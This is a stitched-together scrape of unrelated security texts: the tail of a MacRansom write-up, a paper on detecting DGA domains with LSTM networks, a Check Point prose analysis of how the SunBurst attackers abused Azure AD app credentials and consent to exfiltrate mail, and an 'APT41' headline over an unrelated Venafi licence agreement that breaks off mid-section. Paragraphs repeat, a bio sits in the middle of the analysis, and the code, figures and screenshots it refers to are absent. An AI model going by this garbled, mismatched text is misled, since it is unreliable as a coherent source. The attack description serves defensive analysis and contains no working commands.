It is not every day that we see new ransomware specifically targeting the Mac OS platform. Even if it is far inferior to most current ransomware targeting Windows, it still encrypts victims' files or prevents access to important files, causing real damage.
This MacRansom variant is potentially being brewed by copycats, as we observed a lot of similar code and ideas taken from previous OSX ransomware. Although it utilizes anti-analysis tricks that differ from previous OSX ransomware, these are well-known techniques widely deployed by many malware authors. MacRansom is yet another example of the prevalence of the ransomware threat, regardless of the OS platform being run. There are no perfect mitigations against ransomware; however, the impact can be minimized by regularly backing up important files and being cautious when opening files from unidentified sources or developers.
|
# Cyber Security
Keeping you up to date with the latest Cyber Security issues including Cyber Threats, Threat Intelligence, Network Security Threats, and Research & Development. Hear from our team of experts at PwC UK.
|
# Predicting Domain Generation Algorithms with Long Short-Term Memory Networks
**Jonathan Woodbridge, Hyrum S. Anderson, Anjum Ahuja, and Daniel Grant**
{jwoodbridge,hyrum,aahuja,dgrant}@endgame.com
Endgame, Inc.
Arlington, VA 22201
## Abstract
Various families of malware use domain generation algorithms (DGAs) to generate a large number of pseudo-random domain names to connect to a command and control (C2) server. The malicious actor only needs to register a small number of these domains to be successful. However, all the domains must be sinkholed, registered, or blacklisted before they go into use in order to preemptively defeat such an attack. This defense becomes increasingly difficult as the rate of dynamically generated domains increases.
Authors in [1] presented a thorough review of the efficacy of blacklists. As part of this review, authors analyzed both public and private blacklists for DGA coverage, (i.e., how many domains generated by DGAs were contained in blacklists). Public blacklists were surprisingly lacking in terms of DGA coverage with less than 1.2% of DGAs analyzed by the authors being contained in any of the blacklists. Vendor provided blacklists fared better, but had mixed results over malware families with coverage varying from 0% to 99.5%. These results suggest that blacklists are useful, but must be supplemented by other techniques to provide a more adequate level of protection.
Another approach to combating malware using DGAs is to build a DGA classifier. This classifier can live in the network sniffing out DNS requests and looking for DGAs. When DGAs are detected, the classifier notifies other automated tools or network administrators to further investigate the origin of a DGA. Previous work in DGA detection can be broken down into two categories: retrospective detection and real-time detection. Retrospective detection makes bulk predictions on large sets of domains and are designed as a reactionary system that cannot be used for real-time detection and prevention [2]. In these systems, sets of domains are broken down into groupings using clustering with the intent to generate statistical properties of each grouping. Classification is accomplished by generating templates during training and using statistical tests (e.g., Kullback-Leibler divergence) to classify groups of potential DGAs. In addition, these techniques incorporate contextual information such as HTTP headers, NXDomains across a network, and passive DNS to further improve performance. Much of the previous work in DGA detection falls in the former category and, unfortunately, does not meet the needs of many real-world security applications that require real-time detection and prevention [5].
Real-time detection techniques attempt to classify domains as DGA generated on a per domain basis using only the domains’ names (i.e., no additional contextual information). Real-time detection is a considerably harder problem than retrospective techniques and techniques often exhibit performance far too low for a real-world deployment. (Surprisingly, authors in [5] found that retrospective techniques had similarly bad performance!) Many of the previous real-time approaches use hand-picked features (e.g., entropy, string length, vowel to consonant ratio, etc.) that are fed into a machine learning model, such as a random forest classifier. Using hand-crafted features have two major drawbacks. First, hand-crafted features are easy to circumvent. Second, deriving hand-crafted features is a time-consuming process. If, and when, a malicious actor derives a new DGA family around beating a set of features, security professionals will need to spend considerable time creating new features. To the best of our knowledge, authors in [2] presented the first (and only until this paper) featureless real-time technique by using Hidden Markov Models (HMMs). However, as shown later in the paper, HMMs perform quite poorly on detecting DGAs.
This paper presents a feature-less real-time technique using Long Short-Term Memory networks (LSTMs) to classify DGAs. This technique has four significant advantages over other techniques in the literature. First, the LSTM DGA classifier is featureless, in that it operates on raw domain names (e.g., google.com, facebook.com, etc.). If a new family of DGA appears, then the classifier can be retrained without the tedious step of hand-picking features. LSTMs work largely as a black box making it very difficult for adversaries to reverse engineer and beat a classifier without the same training set. Second, the presented technique has a significantly better true positive rate/false positive rate over previously published retrospective and real-time approaches. Third, the technique also works in a multiclass classification setting. Therefore, the algorithm not only provides a binary decision of whether a domain is DGA or not, but can accurately fingerprint a unique DGA’s structure. Fourth, the presented algorithm can classify in real-time using absolutely no contextual information. Classification of a domain takes 20ms on commodity hardware. The technique is trivial to implement and can run on virtually any security environment. In fact, all the code required to implement this system is provided in this paper demonstrating its ease of deployment.
In this paper, we make the following contributions. We
1) introduce an LSTM network to predict DGA generated domains, which to our knowledge, is the first application and in-depth analysis of deep learning to this domain;
2) present complete experimental results showing significant improvements over previous techniques (both real-time and retrospective) in the literature using open datasets; and
3) provide source code to reproduce results.
## I. INTRODUCTION
Many malware families contain domain generation algorithms (DGAs) to make preemptive defenses difficult. Domains are generated pseudo-randomly in bulk (hundreds to tens-of-thousands per day) by a malware sample. The malware then attempts to connect to all or a portion of these generated domains in hopes of finding a command and control (C2) server.
Real-time detection techniques attempt to classify domains as DGA generated on a per domain basis using only the domains’ names (i.e., no additional contextual information). Real-time detection is a considerably harder problem than retrospective techniques and techniques often exhibit performance far too low for a real-world deployment.
This paper evaluates the ability to classify DGA generated domains from 30 different types of malware. Malware families include ransomware, such as Cryptolocker and Cryptowall, banking trojans, such as Hesperbot, and general information-stealing tactics, such as ramnit.
DGA techniques vary in complexity from simple uniformly generated domain names to those that attempt to model distributions that are seen in real domains. Ramnit, for example, creates domains with a series of divides, multiplies and modulos computed on a seed while suppobox creates domains by concatenating two random strings (typically taken from the English language).
Predicting DGA generated domains from such algorithms as suppobox is extremely difficult without using contextual information. In fact, the LSTM technique presented in this paper was the only real-time technique able to classify such domains.
## II. BACKGROUND
Domain fluxing is a technique used by botnets and command-and-control (C2) servers to create many domains using a Domain Generation Algorithm (DGA). All botnets and C2 servers in the same infrastructure use the same seeded algorithm such that they all create the same pseudo-randomly generated domains. A subset of these domains are registered by the C2 servers while each botnet iterates through the DGA generated domains until it finds one that is registered. To further complicate the process, C2 servers continually switch to new DGA generated domains making blacklist creation and takedown efforts difficult.
One approach to combating domain fluxing is to reverse engineer a piece of malware and its respective DGA. Once a DGA and its respective seed is known, future domains can be registered and used as an impostor C2 server to hijack botnets (a process known as sinkholing). Once a campaign has been hijacked, adversaries must redeploy new botnets with updated seeds to continue.
Blacklisting is another approach to combat domain fluxing. DGA generated domains are added to a blacklist that can be used by a network administrator to block connections to potential C2 servers. However, both blacklists and sinkholing are only effective when both the algorithm and seed used by a campaign is known.
### A. Domain Generation Algorithms
This paper evaluates the ability to classify DGA generated domains from 30 different types of malware. Malware families include ransomware, such as Cryptolocker and Cryptowall, banking trojans, such as Hesperbot, and general information-stealing tactics, such as ramnit.
DGA classification can be a useful component of a domain reputation system. Domain reputation systems have the task of assigning a trustworthy score of a domain. This score typically varies from 0 (most benign) to 1 (most malicious). Domain reputation systems typically incorporate many pieces of heterogeneous data, such as passive DNS (pDNS), to make decisions on a domain’s reputation. DGA classification is one piece of information that can help assign a reputation to a domain.
Previous approaches to DGA classification can be roughly broken down into two categories:
1) Retrospective: classifying domains in groups to take advantage of bulk statistical properties or common contextual information; and
2) Real-time: classifying domains individually with no additional contextual information.
Authors in [3], [4] detect DGAs by using both unigram and bigram statistics of domain clusters. The training set is separated into two subsets: those generated by a DGA and those not generated by a DGA. The distributions of both unigrams and bigrams are calculated for both the subsets. Classification occurs in batches. Each batch of unknown domains is clustered by shared second level domain and domains sharing the same IP address. The unigram and bigram distributions are calculated for each cluster and compared to the two known (labeled) subsets using the Kullback-Leibler (KL) distance. In addition, the authors use the Jaccard distance to compare bigrams between clusters and the known (labeled) sets as well.
Authors in [2] apply a similar clustering process to classify domains with unsuccessful DNS resolutions. To train, statistical features are calculated for each subset of labeled DGA generated domains, such as Bobax, Torpig, and Conficker.C. Unknown domains are clustered by statistical characteristics such as length, entropy, and character frequency distribution, as well as shared hosts requesting the domain (i.e., cluster two domains together if the same host made a DNS query for both domains). Next, statistical features are calculated for each cluster and compared to the training subsets to classify the clusters as formed by a known DGA. If a cluster is classified as belonging to a known DGA, the host is deemed to be infected.
Once a host is deemed to be infected with a DGA-bot, the authors attempt to identify the bot's active C2 server. This stage of the process uses a Hidden Markov Model trained on each known family of DGA and applied to single domains. Each domain with a successful DNS request is fed through each HMM. If a domain receives an adequate score (i.e., greater than some threshold), the domain is labeled as a DGA. The threshold is learned at training time and set to a maximum false positive rate of 1%. We use this HMM technique as one of our comparisons to previous work.
### B. DGA Classifier
This paper presents a feature-less real-time technique using Long Short-Term Memory networks (LSTMs) to classify DGAs. This technique has four significant advantages over other techniques in the literature. First, the LSTM DGA classifier is featureless, in that it operates on raw domain names (e.g., google.com, facebook.com, etc.). If a new family of DGA appears, then the classifier can be retrained without the tedious step of hand-picking features. LSTMs work largely as a black box making it very difficult for adversaries to reverse engineer and beat a classifier without the same training set. Second, the presented technique has a significantly better true positive rate/false positive rate over previously published retrospective and real-time approaches. Third, the technique also works in a multiclass classification setting. Therefore, the algorithm not only provides a binary decision of whether a domain is DGA or not, but can accurately fingerprint a unique DGA’s structure. Fourth, the presented algorithm can classify in real-time using absolutely no contextual information. Classification of a domain takes 20ms on commodity hardware. The technique is trivial to implement and can run on virtually any security environment. In fact, all the code required to implement this system is provided in this paper demonstrating its ease of deployment.
## III. METHOD
We employ an LSTM network for detecting DGAs. The model has the following advantages:
- The model accepts variable-length character sequences as input, so that there is no auxiliary requirement for feature extraction.
- The model is very compact, comprised simply of an embedding layer, an LSTM network layer, and a fully connected output layer that is simple logistic (or for multiclass, multinomial logistic) regression.
- Although training on a large dataset is computationally intensive, the shallow structure allows for very fast query times.
A graphical depiction of our model is shown in Fig. 1. To prevent overfitting when training neural networks, it is common practice to employ dropout. Dropout consists of randomly removing a random subset of edges between layers of a network during each iteration of training, but restoring their contribution at test time. We apply dropout after the LSTM layer prior to logistic regression.
The embedding layer projects ℓ-length sequences of input characters from the input domain S ⊂ Zℓ to a sequence of vectors Rd×ℓ, where ℓ is an upper bounded length determined from the training set. The input domain consists of non-redundant valid domain name characters (lowercase alphanumeric, period, dash and underscore), and the output dimension d is a tunable parameter that represents an embedding. In our model, we choose d = 128 to provide additional degrees of freedom to the model, but preliminary experiments showed that results are relatively insensitive to the particular choice of d.
The LSTM layer can be thought of as implicit feature extraction, as opposed to explicit feature extraction (e.g., n-grams) used in other approaches. Rather than represent domain names explicitly as a bag of bigrams, for example, the LSTM learns patterns of characters (or in our case, embedded vectors) that maximize the performance of the second classification layer. In our experiments, we compare the LSTM model to an explicit bigram logistic regression model.
All LSTM code was written in Python using the Keras framework. Two models are generated: one for binary classification and one for multiclass classification.
## IV. EXPERIMENTAL SETUP
In the following section, we describe details of our experimental setup in evaluating DGA classifiers in a binary experiment (DGA vs. non-DGA) and multiclass experiment (which DGA?) using publicly available domain names and DGA data.
### A. Evaluation Metrics
Precision, Recall, F1 score, and Receiver Operating Characteristic (ROC) are the four evaluation metrics used to compare the LSTM classification technique to other state-of-the-art techniques. Precision is defined as:
\[ \text{Precision} = \frac{\sum \text{True Positive}}{\sum \text{True Positive} + \sum \text{False Positive}} \]
Recall is defined as:
\[ \text{Recall} = \frac{\sum \text{True Positive}}{\sum \text{True Positive} + \sum \text{False Negative}} \]
F1 score is the harmonic mean of Precision and Recall:
\[ F1 = \frac{2 \cdot \text{Precision} \cdot \text{Recall}}{\text{Precision} + \text{Recall}} \]
The ROC is generated by evaluating the True Positive Rate (TPR) and False Positive Rate (FPR) at all thresholds of score returned by a classifier. Area under the curve (AUC) is a common single metric to compare ROC curves, and as the name implies, is just the area under the ROC curve. An AUC of 1 is perfect, and an AUC of 0.5 is the same as chance in a binary classifier.
### B. Experimental Designs
The proposed technique is evaluated using three different experimental designs:
1) Binary classification with random holdout test sets to measure the general ability to detect DGA vs. non-DGA.
2) Binary classification with holdout DGA algorithm families to measure the ability to detect new DGAs.
3) Multiclass classification to measure the ability to distinguish one DGA algorithm from another.
The binary classification experimental design tests each DGA classifier for its ability to make an accurate binary decision: DGA or not DGA. The DGA class consists of domains from all thirty families in our training set. This experiment is run using n-fold cross-validation with ten folds. Evaluation is accomplished with both an ROC as well as a detailed Precision, Recall and F1 score broken down by each class. Both the micro and macro averages of Precision, Recall and F1 score are also given.
In the second experiment, we test each classifier’s ability to discover new DGA families not used in the training set. The ten smallest DGA families are removed from the dataset and each classifier is trained on all samples from the remaining classes. Precision, Recall and F1 score is calculated on the test set. In addition, we find both the micro and macro average of these scores over all classes for each algorithm.
The multiclass classification design tests each DGA classifier for its ability to make an accurate decision on the family of DGA. The random forest DGA classifier (using manual features) uses a One vs. Rest while the LSTM and Bigram classifiers do a direct multiclass classification. We display a class breakdown of Precision, Recall and F1 score for each class as well as the micro and macro average.
### C. Data
This paper uses open datasets for reproducibility. A real-world system should use an expanded dataset to make it more difficult for an adversary to reverse engineer and defeat the classifier. The experimental designs use data from two sources:
1) The Alexa top 1 million domains are used for training domains that are not DGAs.
2) The OSINT DGA feed from Bambenek Consulting is used for DGA domains.
The OSINT DGA feed consists of thirty families of DGAs with a varying number of examples from each class. This feed contains approximately 750,000 DGA examples.
### D. Comparison to State of the Art
For each experiment, we compare the featureless LSTM DGA classifier to:
- A featureless HMM model defined in [2].
- Logistic regression on character bigrams (simple features).
- A random forest DGA classifier using manually-crafted domain features defined in [2], [3], [4], [18].
In particular, the manually crafted features of the random forest DGA classifier include the following:
- Length of domain name.
- Entropy of character distribution in domain name.
- Vowel to consonant ratio.
- Alexa 1M n-gram frequency distribution co-occurrence count, where n = 3, 4 or 5.
- N-gram normality score.
- Meaningful characters ratio.
Authors in [3], [4] detect DGAs by using both unigram and bigram statistics of domain clusters. The training set is separated into two subsets: those generated by a DGA and those not generated by a DGA. The distributions of both unigrams and bigrams are calculated for both the subsets. Classification occurs in batches. Each batch of unknown domains is clustered by shared second level domain and domains sharing the same IP address. The unigram and bigram distributions are calculated for each cluster and compared to the two known (labeled) subsets using the Kullback-Leibler (KL) distance. In addition, the authors use the Jaccard distance to compare bigrams between clusters and the known (labeled) sets as well.
## V. RESULTS
Results for the three experiments and an interpretation of model performance are presented in this section.
### A. Binary Classification
The ROC curves for the HMM, random forest classifier with manually-crafted features, logistic regression classifier on character bigrams, and LSTM DGA classifier are presented in Fig. 4. Note that the abscissa (false positive rate) is on a log scale to highlight the differences in the algorithms. LSTM provides the best performance with an AUC of 0.9993 with the bigram model at 0.9939. The difference between the two algorithms may seem small, but are actually quite significant in a production system. As an example, the LSTM model can classify 90% of all DGAs with a 1 in 10,000 false positive rate. On the other hand, a Bigram model will classify the same percentage of DGA’s with a 1 in 550 false positive rate (i.e., the Bigram model produces a false positive rate that is 20× that of the LSTM model).
### B. Leave-Class-Out Binary Classification
The binary leave-one-out classifier is interesting as it tests each algorithm’s robustness to DGA families not seen during training. Only Recall is presented for this experiment as there are no non-DGA generated domains in this test set. The results for this experiment are shown in Table III.
The manual features random forest classifier performs best in terms of both micro and macro average. On the other hand, the LSTM classifier has the most families that it performs best on (five in total as opposed to four in total for the manual features classifier). The biggest discrepancy between manual features and LSTM was with beebone. In particular, the manual features classifier identifies all of the beebone samples, while the LSTM model recovers none. The domain names from beebone have a rigid structure, like ns1.backdates13.biz and ns1.backdates0.biz, so that the LSTM model was unable to learn the structure that included the word backdates without training data. The results are nearly as dramatic for symmi, which produces nearly-pronounceable domain names like hakueshoubar.ddns.net, by drawing a random vowel or a random consonant at each even-numbered index, then drawing a random character of the opposite class (vowel/consonant) in the subsequent index location. These examples highlight blind spots in the LSTM classifier. However, these blind spots can be easily fixed through training with the use of an adversarial network (i.e., train a generator network that creates domains that confuse our classifier).
### C. Multiclass
The HMM results were omitted from the multiclass experiments due to poor performance. As stated previously, the HMM algorithm was designed for few DGAs, whereas our experiments include over 30 classes. Precision, Recall, and F1 is displayed in Table IV for the random forest classifier with manual features, multinomial logistic regression on character bigrams and the LSTM classifier. The LSTM classifier significantly outperforms the other two algorithms in both the micro and macro averaged Precision, Recall, and F1 score. In general, poor performance resulted from classes with small representation. One exception was Cryptolocker, which no multiclass classifier was able to detect. However, all the binary classifiers were able to distinguish Cryptolocker from other families.
## VI. CONCLUSION
In this paper, we presented a feature-less real-time technique using Long Short-Term Memory networks (LSTMs) to classify DGAs. The technique has significant advantages over previous methods, including the ability to operate on raw domain names and achieve high accuracy in both binary and multiclass classification tasks. The results demonstrate that the LSTM classifier outperforms traditional methods, providing a robust solution for real-time DGA detection. Future work will focus on further improving the model's performance and exploring its application in various security environments.
|
# Behind the Scenes of the SunBurst Attack
By Lior Sonntag, February 19, 2021
Check Point sponsored this post.
Lior is a Security Researcher at Check Point Software Technologies. He is a security enthusiast who loves to break stuff and put it back together. He's passionate about various InfoSec topics such as Cloud Security, Offensive Security, Vulnerability Research, and Reverse Engineering.
The biggest cyberattack in recent times came in the form of what seems like a nation-state-sponsored supply chain attack, in December when the Sunburst malware was installed on SolarWinds’ Orion product. This made headlines worldwide for good reason — post-compromise activity included data theft through lateral movement, which is when the attacker moves through a network searching for targeted key data and assets. This attack was the work of a highly-skilled actor and the operation was conducted with significant operational security.
This attack consisted of lateral movement of the threat actor from the on-premises network to the cloud, and it was done in two phases:
1. **Phase One: The On-Prem Golden SAML Attack.** Here the threat actors gained administrative access to the organization’s Active Directory Federation Services (ADFS) server. This allowed them to forge Security Assertion Markup Language (SAML) tokens and create illegitimate registrations of SAML Trust Relationships. By impersonating a user with valid administrative credentials, the threat actors could change the configuration of the SAML Service Provider (in this case, Azure AD). From there, they successfully gained administrative access to the Azure AD.
2. **Phase Two: Malicious activity in the Cloud.** The threat actors then used the Azure Active Directory administrative credentials for malicious activities. This included (but was not limited to): enumeration of existing applications and service principals, injection of credentials into them, impersonation and execution of actions on behalf of them, and the exfiltration of sensitive data like users and mails.
Dror Alon is the Security Research Team Leader at Check Point Software Technologies. He's a proactive researcher in the cyber domain; investigating cyber events, and identifying and resolving the security issues faced by organizations worldwide.
In this analysis, we will focus on the second attack phase, in the cloud, and present key tactics and techniques used by the nation-state actors in the malicious campaign. By using the MITRE ATT&CK framework, we will provide the most likely technical attack flow of the nation-state actor’s actions.
Reviewing Microsoft’s article, the chain of events that occurred through this attack were:
1. **Initial Access (On-Prem):** Forged SAML tokens and illegitimate registrations of SAML Trust Relationships; impersonating a user with administrative credentials (in this case, Azure AD).
2. **Discovery:** The threat actor enumerates existing applications/service principals (preferably with high traffic patterns).
3. **Credential Access:** The threat actor adds credentials to an existing application or service principal.
4. **Privilege Escalation:** The threat actor elevates the privileges of the application/service-principal, to allow access to MS Graph APIs Application permissions.
5. **Defense Evasion and Lateral Movement:** The threat actor acquires OAuth access tokens of applications, allowing them to impersonate the applications and obfuscate their activity.
6. **Exfiltration:** The threat actor calls MS Graph APIs to exfiltrate sensitive data such as users’ data and emails.
Here we will focus on the attack flow in the Cloud Environment after the initial authentication (i.e., steps 2-6). But first, let’s elaborate on the Azure AD Authentication and Authorization mechanisms.
In short, Authentication is proving you are who you say you are. This is done by the Identity Provider (in this case Azure AD). Authorization is the act of granting an authenticated party permission to do something. This is done by the resource the identity is trying to query, utilizing the OAuth 2.0 protocol.
## Discovery
First, the threat actor gains an initial foothold into the Cloud Environment by compromising privileged cloud users with administrative access to the Azure AD. They then add credentials to an existing application or service principal. However, in order to do that, the threat actor needs to firstly list all the existing applications:
The threat actor prefers applications with high traffic patterns (e.g., mail archival applications) which can be used to obfuscate their activity. So, they decide to choose the “MailApp” (an imaginary application name) and extracts its ObjectId and ApplicationId. In addition, the threat actor extracts the account’s tenantId.
## Credential Access
Next, the threat actor creates new credentials and adds them to the application. Alternatively, the threat actor can create new credentials and add them to an existing service principal associated with the MailApp application. After this phase, the threat actor has the credentials of the application — which can be used to authenticate to Azure AD on behalf of the application.
## Application/Service-Principal Privilege Escalation
In this step, the threat actor lists all the available permissions related to Microsoft Graph APIs. The threat actor decides to add the User.ReadWrite.All permission to the MailApp application. Afterward, the threat actor lists all the available permissions related to Mails and associated to the Microsoft Graph API. They decide to also add the Mail.ReadWrite permission to the MailApp application.
The error in red indicates that an admin consent must be launched to approve this permission. The admin consent workflow gives admins a secure way to grant access to applications that require admin approval. When a user tries to access an application but is unable to provide consent, they can send a request for admin approval. The request is sent to admins who have been designated as reviewers.
Due to the fact that the actor already has administrative permissions, they can launch an admin consent on their own. The admin consent was successful and the Microsoft Graph APIs permissions were successfully added to the MailApp application!
## Defense Evasion and Lateral Movement
Then, the actor acquired an OAuth access token for the application, by initiating an HTTP GET request which included the tenantId, objectId, appId, and the secret (credentials) obtained from before. This access token enabled the actor to move laterally, impersonate the MailApp application, and execute actions on behalf of it.
## Exfiltration
Finally, the threat actor calls APIs with permissions assigned to the MailApp application. The threat actor initiated an HTTP GET request, which included the access token to exfiltrate all users in the tenant and all emails related to a specific user.
In conclusion, the SunBurst attack was by far one of the most sophisticated attacks of our time — extending beyond on-prem and into the cloud. The threat actor executed advanced techniques to cover their tracks; using discovery, credential access, privilege escalation, lateral movement, defense evasion, and exfiltration all in one attack flow.
Since the attack, the number of victims compromised by SunBurst continues to rise, and could happen again on any of the cloud providers. Many security vendors are offering free trials to help organizations get a handle on the security of their environment. While this is a step in the right direction, the question is, will you know what to look for and will you be prepared?
|
# APT41 Perfects Code Signing Abuse to Escalate Supply Chain Attacks
## End User License Agreement
**IMPORTANT**
PLEASE READ CAREFULLY BEFORE CONTINUING WITH REGISTRATION AND/OR ACTIVATION OF THE VENAFI CLOUD SERVICE (“SERVICE”). THIS IS A LEGAL AGREEMENT BETWEEN THE END USER (“YOU”) AND VENAFI, INC. ("VENAFI" OR “OUR”). BY ACCEPTING THIS AGREEMENT, EITHER BY CLICKING A BOX INDICATING YOUR ACCEPTANCE AND/OR ACTIVATING AND USING THE VENAFI CLOUD SERVICE FOR WHICH YOU HAVE REGISTERED, YOU AGREE TO THE TERMS OF THIS AGREEMENT. IF YOU ARE ENTERING INTO THIS AGREEMENT ON BEHALF OF A COMPANY OR OTHER LEGAL ENTITY, YOU REPRESENT THAT YOU HAVE THE AUTHORITY TO BIND SUCH ENTITY AND ITS AFFILIATES TO THESE TERMS AND CONDITIONS, IN WHICH CASE THE TERMS "YOU" OR "YOUR" SHALL REFER TO SUCH ENTITY AND ITS AFFILIATES. IF YOU DO NOT HAVE SUCH AUTHORITY, OR IF YOU DO NOT AGREE WITH THESE TERMS AND CONDITIONS, YOU MUST NOT ACCEPT THIS AGREEMENT AND MAY NOT USE THE SERVICE.
You shall not access the Service if You are Our competitor or if you are acting as a representative or agent of a competitor, except with Our prior written consent. In addition, You shall not access the Service for purposes of monitoring its availability, performance or functionality, or for any other benchmarking or competitive purposes, and you shall not perform security vulnerability assessments or penetration tests without the express written consent of Venafi.
This Agreement was last updated on April 12, 2017. It is effective between You and Venafi as of the date of Your accepting this Agreement.
The Venafi Cloud Service includes two separate services that are operated by Venafi as software as a service, each of which is separately licensed pursuant to the terms and conditions of this Agreement and each of which is considered a Service under this Agreement: the Venafi Cloud Risk Assessment Service or the Venafi Cloud for DevOps Service. Your right to use either Service is dependent on the Service for which You have registered with Venafi to use.
### 1. Definitions
1. “Your Data” means electronic data and information submitted by or for You to the Service or collected and processed by or for You using the Service.
### 2. License Grants and Restrictions
1. **License Grant by Venafi to You.** Venafi grants to You a limited, non-exclusive, non-transferable, non-assignable, limited license (the “License”) to access and use the Service during the applicable License Term set out in Section 2.2 below, in accordance with the instructions contained in the user documentation that accompanies the Service (“Documentation”). Venafi hereby grants to You the right to use the Documentation solely in connection with the exercise of Your rights under this Agreement. Other than as explicitly set forth in this Agreement, no right to use, copy, display, or print the Documentation, in whole or in part, is granted. This license grant is limited to internal use by You. This License is conditioned upon Your compliance with all of Your obligations under this Agreement. Except for the express licenses granted in this Section, no other rights or licenses are granted by Venafi, expressly, by implication, by way of estoppel or otherwise. The Service and Documentation are licensed to Licensee and are not sold. Rights not granted in this Agreement are reserved by Venafi.
2. **License Term.**
1. **Venafi Cloud Risk Assessment Service.** If you have registered to access and use the Venafi Cloud Risk Assessment Service, Your right to use the Venafi Cloud Risk Assessment Service is limited to ninety (90) days from the date You first register for the Service, unless otherwise extended on Your agreement with Venafi.
2. **Venafi Cloud for DevOps Service.** If you have registered to access and use the Venafi Cloud for DevOps Service, Your right to use the Venafi Cloud for DevOps Service shall extend indefinitely and may be terminated by either You or Venafi at any time for any reason.
### 3. Restrictions on Use
The grant of rights stated in Sections 2.1 and 2.2, above, is subject to the following restrictions and limitations:
1. If You have registered to access and use the Venafi Cloud for DevOps Service, You must use SSL/TLS certificates issued to you at no charge through the Service for development and testing purposes only, and You are strictly prohibited from using such SSL/TLS certificates in a production environment or in any production capacity. If you are registered with a public Certification Authority (“CA”) supported by the Service and have valid credentials issued by such CA with which you can subscribe to such CA’s SSL/TLS certificates on a fee bearing basis for use in production environments, You may request such certificates through the applicable interface present in the Service by using such credentials. In such instance, the fee bearing certificate(s) will be issued to You by the CA and any access to or use of such certificates by You will be subject to the terms and conditions set out by the CA. No fees will be paid to or processed by Venafi in this case. The use of DigiCert issued certificates shall be subject to the Certificate Services Agreement published by DigiCert, which terms are hereby incorporated by reference.
2. You shall not use (or cause to be used) the Service for the benefit of any third party, including without limitation by rental, in the operation of an Applications Service Provider (ASP) service offering or as a service bureau, or any similar means.
3. You shall not distribute access to the Service, in whole or in any part, to any third party or parties. You shall not permit sublicensing, leasing, or other transfer of the Service.
4. You shall not (a) interfere with or disrupt the integrity or performance of the Service or third-party data contained therein, (b) attempt to gain unauthorized access to the Service or its related systems or networks, (c) permit direct or indirect access to or use of the Service in a way that circumvents a contractual usage limit, or (d) access the Service in order to build a competitive product or service.
### 4. License Grant by You
You grant to Venafi and its affiliates, as applicable, a worldwide, limited-term license to host, copy, transmit and display Your Data as necessary for Venafi to provide the Service in accordance with this Agreement. Subject to the limited licenses granted herein, Venafi acquires no right, title or interest from You or any of Your suppliers or licensors under this Agreement in or to Your Data.
### 5. Ownership
1. **Venafi Materials.** Venafi and/or its suppliers have and shall retain ownership of all right, title and interest in and to the Service and the Documentation and all intellectual property rights embodied in the Service and Documentation, including without limitation any patents, copyrights, trademarks and trade secrets in the Service and any modifications and/or derivatives thereof, whether or not made at Licensee’s request, and all know-how, concepts, methods, programming tools, inventions, and computer source code developed by Venafi (collectively, “Venafi Materials”).
2. **Limited Feedback License.** You hereby grant to Venafi, at no charge, a non-exclusive, royalty-free, worldwide, perpetual, irrevocable license under Your intellectual property rights in and to suggestions, comments and other forms of feedback (“Feedback”) regarding the Service provided by or on behalf of You to Venafi, including Feedback regarding features, usability and use, and bug reports, to reproduce, perform, display, create derivative works of the Feedback and distribute such Feedback and/or derivative works in the Service. Feedback is provided “as is” without warranty of any kind and shall not include any of Your confidential information.
### 6. Disclaimer of Warranties
1. EXCEPT AS EXPRESSLY SET FORTH IN THIS SECTION 4, THE SERVICE AND DOCUMENTATION ARE PROVIDED “AS-IS,” WITH “ALL FAULTS” AND “AS AVAILABLE,” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE, ACCURACY, RELIABILITY, OR NONINFRINGEMENT WHETHER ARISING FROM COURSE OF DEALING, USAGE, TRADE PRACTICE OR ANY OTHER MANNER. VENAFI IS NOT OBLIGATED TO PROVIDE ANY UPDATES, UPGRADES OR TECHNICAL SUPPORT FOR THE SERVICE. VENAFI DISCLAIMS ALL LIABILITY AND INDEMNIFICATION OBLIGATIONS FOR ANY HARM OR DAMAGES CAUSED BY ANY THIRD-PARTY HOSTING PROVIDERS. In no event does Venafi warrant that the Service is error free or that You will be able to operate the Service without problems or interruptions. Some jurisdictions do not allow the exclusion of implied warranties and to the extent that is the case the above exclusion may not apply.
### 7. Limitation of Liability
1. IN NO EVENT WILL VENAFI OR ITS SUPPLIERS BE LIABLE FOR ANY LOST REVENUE, PROFIT, OR DATA, OR FOR DIRECT, SPECIAL, INDIRECT, CONSEQUENTIAL, INCIDENTAL, OR PUNITIVE DAMAGES HOWEVER CAUSED AND REGARDLESS OF THE THEORY OF LIABILITY ARISING OUT OF THE USE OF OR INABILITY TO USE THE SERVICE EVEN IF VENAFI OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. Some jurisdictions do not allow the limitation or exclusion of liability for incidental or consequential damages and to the extent that is the case the above limitation or exclusion may not apply to You.
### 8. Term and Termination
This License is effective until terminated as set forth herein or the License Term expires and is not otherwise renewed by the parties. Venafi may terminate this Agreement and/or the License at any time with or without written notice to You if You fail to comply with any term or condition of this Agreement or if Venafi ceases to make the Service available to end users. You may terminate this Agreement at any time on written notice to Venafi. Upon any termination or expiration of this Agreement or the License, You agree to cease all use of the Service if the License is not otherwise renewed or reinstated. Upon termination, Venafi may also enforce any rights provided by law. The provisions of this Agreement that protect the proprietary rights of Venafi will continue in force after termination.
### 9. Compliance With Laws
1. **Violation of Laws.** You shall not knowingly take any action or omit to take any action where the reasonably predictable result would be to cause Venafi to violate any applicable law, rule, regulation or policy and, to the extent not inconsistent therewith, any other applicable law, rule, regulation and policy.
### 10. Governing Law
This Agreement shall be governed by, and any arbitration hereunder shall apply, the laws of the State of Utah, excluding (a) its conflicts of laws principles; (b) the United Nations Convention on Contracts for the International Sale of Goods; (c) the 1974 Convention on the Limitation Period in the International Sale of Goods; and (d) the Protocol amending the 1974 Convention, done at Vienna April 11, 1980.
### 11. General
